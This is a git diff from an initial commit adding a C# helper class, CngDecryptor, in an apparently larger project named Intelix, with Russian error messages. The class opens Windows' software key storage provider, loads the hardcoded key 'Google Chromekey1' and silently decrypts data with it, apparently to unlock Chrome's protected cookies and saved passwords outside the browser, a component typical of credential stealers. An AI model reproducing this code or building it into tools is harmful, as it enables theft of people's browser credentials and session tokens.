initial commit

2026-08-27 18:29:08 +00:00
commit 89e4383061
454 changed files with 18399 additions and 0 deletions
@@ -0,0 +1,51 @@
+using System;
+
+namespace Intelix.Helper.Encrypted;
+
+public static class CngDecryptor
+{
+	private const int NCRYPT_SILENT_FLAG = 64;
+
+	public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
+	{
+		IntPtr phProvider = IntPtr.Zero;
+		IntPtr phKey = IntPtr.Zero;
+		try
+		{
+			int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
+			if (num != 0)
+			{
+				throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
+			}
+			num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
+			if (num != 0)
+			{
+				throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
+			}
+			num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
+			if (num != 0)
+			{
+				throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
+			}
+			byte[] array = new byte[pcbResult];
+			num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
+			if (num != 0)
+			{
+				throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
+			}
+			Array.Resize(ref array, pcbResult);
+			return array;
+		}
+		finally
+		{
+			if (phKey != IntPtr.Zero)
+			{
+				NativeMethods.NCryptFreeObject(phKey);
+			}
+			if (phProvider != IntPtr.Zero)
+			{
+				NativeMethods.NCryptFreeObject(phProvider);
+			}
+		}
+	}
+}